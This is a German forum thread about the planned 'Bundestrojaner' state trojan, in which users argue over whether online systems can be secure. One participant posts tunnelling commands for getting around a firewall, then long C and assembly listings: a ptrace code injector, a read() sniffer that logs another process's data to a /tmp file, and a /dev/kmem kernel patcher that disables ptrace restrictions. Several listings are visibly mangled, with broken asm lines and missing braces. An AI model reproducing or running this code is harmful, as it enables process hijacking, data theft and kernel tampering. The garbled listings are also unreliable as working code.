Der Bundestrojaner

[Scotty]

Reines Blabla. Was macht denn ein Online System unsicher? Wo liegen denn die Gefahren? Was kann denn ein Schadcodeexploit auf einem lokalen Dienst anrichten? Entweder bringst du mehr Fachwissen ein, oder du lässt es, deine Behauptungen sind nämlich falsch.

Das gilt genauso für dich, aber wir wollen dir deine Illusion ja nicht nehmen .

Was nützt dir da zumal auch OS, mach doch mal eine konkrete aussage, kennst du den Code von all deinen Programmen die du einsetzt, oder gar vom Linuxkernel selber und verstehst du das alles auch? Bleib mal realistisch, oder willst du dich da auch nur auf die Community verlassen, dass die das schon zu verhindern weiß?

[ayin]

Ein Onlinesystem ist deswegen unsicher, weil du eben immer Ports offen haben musst um den Datentransfer zu gewährleisten. Und darin kannst du einfach Daten einschleusen. Dazu reicht schon ganz normales Application Tunneling.

Ein kleines Beispiel: In einer Firma hast du eine Firewall, die dir nur ein paar gewisse Ports offen lässt. Nehmen wir anPort 53 für DNS, Port 80 für HTTP, Port 110 für POP3 und Port 25 für SMTP und Port 443 für HTTPS und von mir aus Port 993 für IMAP over SSL.
Daraus ergibt sich, eine SSH-Verbindung von aussen ist so nohne weiteres nicht möglich. Mit Application Tunneling lässt sich das aber problemlos ändern. In diesem Fall hier wäre z.B. eine http-tunnel durchwegs eine gangbare Lösung. Also angenommen das Zielsystem ist Port 80 auf server.xyz und ich verwende einen Tunnel Server auf Port 10000. (standardmässig sind auf jedem System die Upper Ports frei). Also starte ich den Cloent lokal und verbinde mit dem server.xyz auf Port 10000. Er selbst soll auf Port 20000 die Verbindung des Broswers entgegen nehmen. Also verbindet man sich mit dem Broswer aus 127.0.0.1:20000 und schon hab ich fakto einen Tunnel geschaffen. Und wenn ich statt Port 80 den 22er nehme, dann kann ich genausogut SSH tunneln.

hts -F server.xyz:80 10000
htc -F 20000 localhost:10000
ssh -p 20000 user@localhost


Und falls man kein Tunnelingtool hat? Dann kann man sich relativ einfach einen ICMP Tunnel bauen, z.B. mit stunnel und vstt. Damit ist es einfach einen TCP- oder ICMP-Tunnel aufzubauen. UDP-geht nicht, braucht man aber auch extrem selten.

Eien weitere Möglichkeit ist auch das Einschleusen von Fremdcode via ptrace(). Damit kannst du auch mit etwas Aufwand in den Speicher eines beliebigen Programmes schreiben und damit die Programmausführung verändern, sogar bei einem eingebrachten non-executeable-stack-patch.

http://publib16.boulder.ibm.com/pseries/en_US/libs/basetrf1/ptrace.htm

[blueflash]

Das gilt genauso für dich, aber wir wollen dir deine Illusion ja nicht nehmen .

Ohja, ich armer schlecht-qualifizierter Tastenklimperaffe....

Was nützt dir da zumal auch OS, mach doch mal eine konkrete aussage, kennst du den Code von all deinen Programmen die du einsetzt, oder gar vom Linuxkernel selber und verstehst du das alles auch? Bleib mal realistisch, oder willst du dich da auch nur auf die Community verlassen, dass die das schon zu verhindern weiß?

Klar kann man sich auf die Community verlassen: Ich beziehe meine Pakete von den Fedora Servern. Da sind derzeit gut 2Mio Installationen im Umlauf. Die Pakete durchlaufen allesamt den üblichen check: Changelogs, Bugtracker, etc. Wenn da ein undokumentierter Patch auftaucht, dann fällt das auf. Es gibt für jedes Paket einen Maintainer. Nun könnte der natürlich ein Backdoor einschleusen, was aber blöderweise die Jungs von testing sehr schnell mitkriegen würden. Das würde dem Maintainer ja auch nix bringen, weil er gar nicht genau weiss, wer dieses Paket denn wann einsetzen würde. Und wenn dus absolut heben willst, dann wechselst du zu debian/stable, da gibt es dann gar keine ungeprüften oder auch nur wesentlich jungen patches mehr.

@ayin erstmal zu ptrace:

BESCHREIBUNG
Ptrace stellt einen Weg zur Verfügung, durch den ein Vaterprozeß die
Ausführung eines Tochterprozesses kontrollieren und sein core
überwachen und ändern kann. Der Hauptnutzen besteht in

Alles klar?

@ayin:
Und was das tunneling angeht: Häh? Warum "tunnelst" du lokal herum um dann mit einem ssh-client den httpd anzurufen? Wenn auf server.xyz ein httpd läuft und auf port 80 lauscht, dann kannst du auch jederzeit einen ssh client darauf starten, aber ob der das http-Protokoll versteht, ist natürlich ne andere Frage. Was willst du überhaupt mit einer ssh-Session auf nem Server, der gar keinen sshd anbietet, erreichen? Irgendwie ziemlich wirr...

[ayin]

Was glaubst du, was man alles viel mehr mit ptrace() machen kann. Weit mehr als du glaubst.

Und was das tunneling angeht: Häh? Warum "tunnelst" du lokal herum um dann mit einem ssh-client den httpd anzurufen? Wenn auf server.xyz ein httpd läuft und auf port 80 lauscht, dann kannst du auch jederzeit einen ssh client darauf starten, aber ob der das http-Protokoll versteht, ist natürlich ne andere Frage. Was willst du überhaupt mit einer ssh-Session auf nem Server, der gar keinen sshd anbietet, erreichen? Irgendwie ziemlich wirr...

Ich denke, du hast den Sinn dahinter nicht erfasst. Denn gerade weil kein sshd lauft, kann man durch tunneln doch eine solche Session instanzieren.

[blueflash]

Was glaubst du, was man alles viel mehr mit ptrace() machen kann. Weit mehr als du glaubst.

Wenn du tatsächlich der Meinung bist, dass ein Systemaufruf irgendwelchen "hacking" Funktionen dienen könnte, dann her mit dem Quellcode, zeig mir ein proof of concept. Aber so wie das aussieht, wirfst du hier nur mit schlagwörtern rum, um zu zeigen wie 1337 du bist...

Ich denke, du hast den Sinn dahinter nicht erfasst. Denn gerade weil kein sshd lauft, kann man durch tunneln doch eine solche Session instanzieren.

Was? Du willst durch "tunneling" einen sshd remote starten? Ja, nee, is klar, ne.
Sag mal, hast du überhaupt den Hauch einer Ahnung, von was du da faselst? Nimm dir nen Keks und klär dich mal über den POSIX Socket Mechanismus auf.

[ayin]

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <asm/user.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <errno.h>
#include <linux/ptrace.h>
asm("MY_BEGIN:\n"
"call para_main\n"); /* Den Anfang des Parasiten markieren */
char *getstring(void) {
asm("call me\n"
"me:\n"
"popl %eax\n"
"addl $(MY_END - me), %eax\n");
}
void para_main(void) {
/* der Kern des Parasiten
*/
asm("\n"
"movl $1, %eax\n"
"movl $31337, %ebx\n"
"int $0x80\n"
"\n");
/*
* we do exit(31337);
* nur um das Ganze in strace zu verfolgen
*/
}
asm("MY_END:"); /* der Parasit endet hier */
char *GetParasite(void) /* Parasiten lokalisieren */
{
asm("call me2\n"
"me2:\n"
"popl %eax\n"
"subl $(me2 - MY_BEGIN), %eax\n"
"\n");
}
int PARA_SIZE(void)
{
asm("movl $(MY_END-MY_BEGIN), %eax\n"); /* Grösse des Parasiten */
}
int main(int argc, char *argv[])
{
int parasize;
int i, a, pid;
char inject[8000];
struct user_regs_struct reg;
printf("\n[Example Ptrace Injector]\n");
if (argv[1] == 0) {
printf("[usage: %s [pid] ]\n\n", argv[0]);
exit(1);
}
pid = atoi(argv[1]); parasize = PARA_SIZE(); /* Platz kalkulieren */
while ((parasize % 4) != 0) parasize++; /* Erstellen des Injektions-Codes*/
{
memset(&inject, 0, sizeof(inject));
memcpy(inject, GetParasite(), PARA_SIZE());
if (ptrace(PTRACE_ATTACH, pid, 0, 0) < 0) /* attach Prozess */
{
printf("cant attach to pid %d: %s\n", pid, strerror(errno));
exit(1);
}
printf("+ attached to proccess id: %d\n", pid);
printf("- sending stop signal..\n");
kill(pid, SIGSTOP); /* stop den Prozess */
waitpid(pid, NULL, WUNTRACED);
printf("+ proccess stopped. \n");
ptrace(PTRACE_GETREGS, pid, 0, &reg); /* Registerinformationen abfragen */
printf("- calculating parasite injection size.. \n");
for (i = 0; i < parasize; i += 4) /* Parasite Code auf %eip schreiben */
{
int dw;
memcpy(&dw, inject + i, 4);
ptrace(PTRACE_POKETEXT, pid, reg.eip + i, dw);
}
printf("+ Parasite is at: 0x%x \n", reg.eip);
printf("- detach..\n");
ptrace(PTRACE_CONT, pid, 0, 0); /* Child process neustarten */
ptrace(PTRACE_DETACH, pid, 0, 0); /* detach Prozess */
printf("+ finished!\n\n");
exit(0);
}
}

Code für Internetzugriff:

void infect_code()
{
asm("
xorl %eax,%eax
push %eax # offset = 0
pushl $-1 # no fd
push $0x22 #
MAP_PRIVATE|MAP_ANONYMOUS
pushl $3 # PROT_READ|PROT_WRITE
push $0x55 # mmap()
reserviere 1000 bytes
pushl %eax # start addr = 0
movl %esp,%ebx
movb $45,%al
addl $45,%eax # mmap()
int $128
ret
");
}

Beispiel des infect_code:

ptrace(PTRACE_GETREGS, pid, &reg, &reg);
ptrace(PTRACE_GETREGS, pid, &regb, &regb);
reg.esp -= 4;
ptrace(PTRACE_POKETEXT, pid, reg.esp, reg.eip);
ptr = start = reg.esp - 1024;
reg.eip = (long) start + 2;
ptrace(PTRACE_SETREGS, pid, &reg, &reg);
while(i < strlen(sh_code)) {
ptrace(PTRACE_POKETEXT,pid,ptr,(int) *(int *)(sh_code+i));
i += 4;
ptr += 4;
}
printf("trying to allocate memory \n");
ptrace(PTRACE_SYSCALL, pid, 0, 0);
ptrace(PTRACE_SYSCALL, pid, 0, 0);
ptrace(PTRACE_SYSCALL, pid, 0, 0);
ptrace(PTRACE_GETREGS, pid, &reg, &reg);
ptrace(PTRACE_SYSCALL, pid, 0, 0);
printf("new memory region mapped to..: 0x%.8lx\n", reg.eax);
printf("backing up registers...\n");
ptrace(PTRACE_SETREGS, pid, &regb, &regb);
printf("dynamical mapping complete! \n", pid);
ptrace(PTRACE_DETACH, pid, 0, 0);
return reg.eax;

read-sniffer:

#define LOGFILE
"/tmp/read.sniffed"
asm("INJECT_PAYLOAD_BEGIN:");
int Inject_read
(int fd, char *data, int size)
{
asm("
jmp DO
DONT:
popl %esi # logfile adresse
xorl %eax, %eax
movb $3, %al #
read() aufrufen
movl 8(%esp), %ebx # ebx: fd
movl 12(%esp),%ecx # ecx:
data
movl 16(%esp),%edx # edx:
grösse
int $0x80
movl %eax, %edi #
return value speichern in %edi
movl $5, %eax #
open() aufrufen
movl %esi, %ebx # LOGFILE
movl $0x442, %ecx
# O_CREAT|O_APPEND|O_WRONLY
movl $0x1ff, %edx #
Permission 0777
int $0x80
movl %eax, %ebx # ebx:
fd für die nächsten 2 Calls
movl $4, %eax #
write() to log
movl 12(%esp),%ecx
# pointer an data
movl %edi, %edx #
read's ret value – zu
lesende Bytes mit read()
int $0x80
movl $6, %eax
int $0x80
movl %edi, %eax
jmp DONE
DO:
call DONT
.ascii \""LOGFILE"\"
.byte 0x00
DONE:
");
}
asm("INJECT_P_END:");

Kernel-Patcher:

#define _GNU_SOURCE
#include <asm/unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
int kmem_fd;

void read_kmem( off_t offset, void *buf, size_t count )
{
if( lseek( kmem_fd, offset, SEEK_SET ) != offset )
{
perror( "lseek(kmem)" );
exit( 1 );
}
if( read( kmem_fd, buf, count ) != (long) count )
{
perror( "read(kmem)" );
exit( 2 );
}
}
void write_kmem( off_t offset, void *buf, size_t count )
{
if( lseek( kmem_fd, offset, SEEK_SET ) != offset )
{
perror( "lseek(kmem)" );
exit( 3 );
}
if( write( kmem_fd, buf, count ) != (long) count )
{
perror( "write(kmem)" );
exit( 4 );
}
}
#define GCC_295 2
#define GCC_3XX 3
#define BUFSIZE 256
int main( void )
{
int kmode, gcc_ver;
int idt, int80, sct, ptrace;
char buffer[BUFSIZE], *p, c;
if( ( kmem_fd = open( "/dev/kmem", O_RDWR ) ) < 0 )
{
dev_t kmem_dev = makedev( 1, 2 );
perror( "open(/dev/kmem)" );
if( mknod( "/tmp/kmem", 0600 | S_IFCHR, kmem_dev ) < 0 )
{
perror( "mknod(/tmp/kmem)" );
return( 16 );
}
if( ( kmem_fd = open( "/tmp/kmem", O_RDWR ) ) < 0 )
{
perror( "open(/tmp/kmem)" );
return( 17 );
}
unlink( "/tmp/kmem" );
}
asm( "sidt %0" : "=m" ( buffer ) );
idt = *(int *)( buffer + 2 );
read_kmem( idt + ( 0x80 << 3 ), buffer, 8 );
int80 = ( *(unsigned short *)( buffer + 6 ) << 16 )
+ *(unsigned short *)( buffer );
read_kmem( int80, buffer, BUFSIZE );
if( ! ( p = memmem( buffer, BUFSIZE, "\xFF\x14\x85", 3 ) ) )
{
fprintf( stderr, "fatal: can't locate sys_call_table\n" );
return( 18 );
}
sct = *(int *)( p + 3 );
printf( " . sct @ 0x%08X\n", sct );
read_kmem( (off_t) ( p + 3 - buffer + syscall ), buffer, 4 );
read_kmem( sct + __NR_ptrace * 4, (void *) &ptrace, 4 );
read_kmem( ptrace, buffer, BUFSIZE );
if( ( p = memmem( buffer, BUFSIZE, "\x83\xFE\x10", 3 ) ) )
{
p -= 7;
c = *p ^ 1;
kmode = *p & 1;
gcc_ver = GCC_295;
}
else
{
if( ( p = memmem( buffer, BUFSIZE, "\x83\xFB\x10", 3 ) ) )
{
p -= 2;
c = *p ^ 4;
kmode = *p & 4;
gcc_ver = GCC_3XX;
}
else
{
fprintf( stderr, "fatal: can't find patch 1 address\n" );
return( 19 );
}
write_kmem( p - buffer + ptrace, &c, 1 );
printf( " . kp1 @ 0x%08X\n", p - buffer + ptrace );
if( gcc_ver == GCC_3XX )
{
p += 5;
ptrace += *(int *)( p + 2 ) + p + 6 - buffer;
read_kmem( ptrace, buffer, BUFSIZE );
p = buffer;
}
if( ! ( p = memchr( p, 0xE8, 24 ) ) )
{
fprintf( stderr, "fatal: can't locate ptrace_attach\n" );
return( 20 );
}
ptrace += *(int *)( p + 1 ) + p + 5 - buffer;
read_kmem( ptrace, buffer, BUFSIZE );
if( ! ( p = memmem( buffer, BUFSIZE, "\x83\x79\x7C", 3 ) ) )
{
fprintf( stderr, "fatal: can't find patch 2 address\n" );
return( 21 );
}
c = ( ! kmode );
write_kmem( p + 3 - buffer + ptrace, &c, 1 );
printf( " . kp2 @ 0x%08X\n", p + 3 - buffer + ptrace );
if( c ) printf( " - kernel unpatched\n" );
else printf( " + kernel patched\n" );
close( kmem_fd );
return( 0 );
}

Was? Du willst durch "tunneling" einen sshd remote starten? Ja, nee, is klar, ne.
Sag mal, hast du überhaupt den Hauch einer Ahnung, von was du da faselst? Nimm dir nen Keks und klär dich mal über den POSIX Socket Mechanismus auf.

Viel Ahnung von OSI-Model dürftest du nicht haben.

[Scotty]

Sag mal, hast du überhaupt den Hauch einer Ahnung, von was du da faselst? Nimm dir nen Keks und klär dich mal über den POSIX Socket Mechanismus auf.

Na aber nun ist mal gut, komme du doch mal mit Details, wenn du immer alles besser wissen willst, so wie ich das hier lese, kommt eher nur von dir inhaltsloses Gefasel. Letztendlich nützt das ganze Technische der großen Masse eh rein gar nichts.

Ich bin mal gespannt wie es weiter geht, ich kann mir jedenfalls nicht vorstellen, dass die damit durchkommen, also mit so einem Gesetz...

[blueflash]

@ayin:

Hurra! Hurra! Du hast einen Prozess debuggt! Nur so zur Info: das klappt nur, wenn du die Berechtigung dazu hast. Sprich: Wenn ich das bei mir ausprobiere (beim ersten Beispiel hast du btw. <string.h> vergessen) passiert _genau nix:_

[Example Ptrace Injector]
cant attach to pid 5510: Operation not permitted

Und was die sshd Geschichte angeht, ich erklär dir es mal ganz langsam: Wenn auf meinem Server kein sshd läuft, dann kannst du auch keine Verbindung zu einem sshd aufbauen, ist doch eigtl. ganz einfach. Und tunneln kannst du gerne und so viel du willst, mein webserver wird dir trotzdem keine ssh-Verbindung anbieten.
Aber wenn du willst, kann ich dir auch fix ne ip geben, über die du meinen Rechner hier erreichst, wenn du dich per ssh einloggen kannst, obwohl ich den daemon ausschalte...

[Harmakhis]

Achtet mal bitte auf eurem Tonfall. Ist doch nicht normal, dass bei solch einem Thema so entgleist!

[XlegolasX]

Achtet mal bitte auf eurem Tonfall. Ist doch nicht normal, dass bei solch einem Thema so entgleist!

Stimmt schon nur es ist auch wirklich ein sehr entgleisendes Thema



Nun ja ich wills mal so ausdrücken es giebt kein sicheres System das "ONLINE"
ist. Den nahezu in jeden Program giebt es Hintertürchen und zwar meist mehr als eine!! Jeder der sein System als absulut Sicher bezeichnet vergisst eins;
Wir Menschen sind alle Fehlbar. Also machen wir auch Fehler und ein anderer findet diese und kann sie dan nutzen, da ist es dan egal ob dies Vater Staat oder irgentjemand mit schlechter Laune ist.


Ich habe noch einmal nachgeschaut in NRW ist es bereits Gesetz.
Einzig die Polizei darf dieses Gesetzt nicht anwenden; Alle anderen Behörden dürfen dies !!!!

Auserdem versuchen auch andere Bundesländer dieses gtesetz ebenso wie die Datenvoratsspeicherung durchzusetzen.

Um noch mal auf das ursprüngliche Thema zurückzukommen in einem Bundesland in Deutschland ist dieses Gesetz schon in Kraft getreten und das Bundesverfassungsgericht untersagte ledeglich der Polizei dies zu tun. Da dieses Gesetz aber für den Verfassungsschutz erlassen wurde ist das wieder mal ein Beispiel für die Verblödung durch die Medien; soll heisen wen das zuständige "Organ/Behöhrde" irgent einen User hacken will kann er dies ohne Gerichtsbeschluss tun und diese Daten dan auch noch Rechtlich verwerten.

[Uny]

Bei heise gibts wieder mal ne neue Meldung.
klick...

[ayin]

Ist eh gut, wenn sie dagegen sind. Ich habs auch grad woanders gelesen. Aber wer weis, wie es tatsächlich kommen wird. Viele Softwarehersteller haben sich mittlerweile dazu geäussert bis auf Symantec, aber das war ja klar, waren auch die einzigen die damals das Rootkit von Sony durchgelassen haben.
Aber wer weis, wie gut sich ein PC mit dem Bundestrojaner verkaufen liesse: Na ist doch ein extra Feature! Ungefähr so wie damals die Handies: "Neu mit Simlock!". Keiner wusste, für was es gut ist, aber das Handy muss ja super sein, wenn es sogar Simlock hat.

[XlegolasX]

lööl dem kann isch nur zustimmen
Wobei noch anzumerken wäre das ein guter Slogen alles verkauft
wie wäre es mit:

BND wie bewachen ihre Daten!

oder mit

Für die beste Verwaltung ihre Geldanlage
ihr freundliches Finanzamt.

[XlegolasX]

Mal wieder was Neues darüber
WELT ONLINE - BKA soll präventiv überwachen dürfen - Nachrichten Politik

[Alfred E. Neumann]

Schon alleine die Überschrift " BKA soll präventiv überwachen dürfen" zeigt, das dies zum Scheitern verurteilt ist. Jemand der schon einmal straffällig war, bei dem kann ich mir eine Überwachung vorstellen, jedoch ist das einfache Überwachen eines normalen PC´s nicht erlaubt. Die Klagen werden sofort beim BVG aufschlagen und die werden dem mal ganz schnell den Gar aus machen. Datenschutz (Privatsphäre) ist im GG verankert. Da kann Schäuble so lange hin und herrollen, er wird das Gesetz nicht bekommen.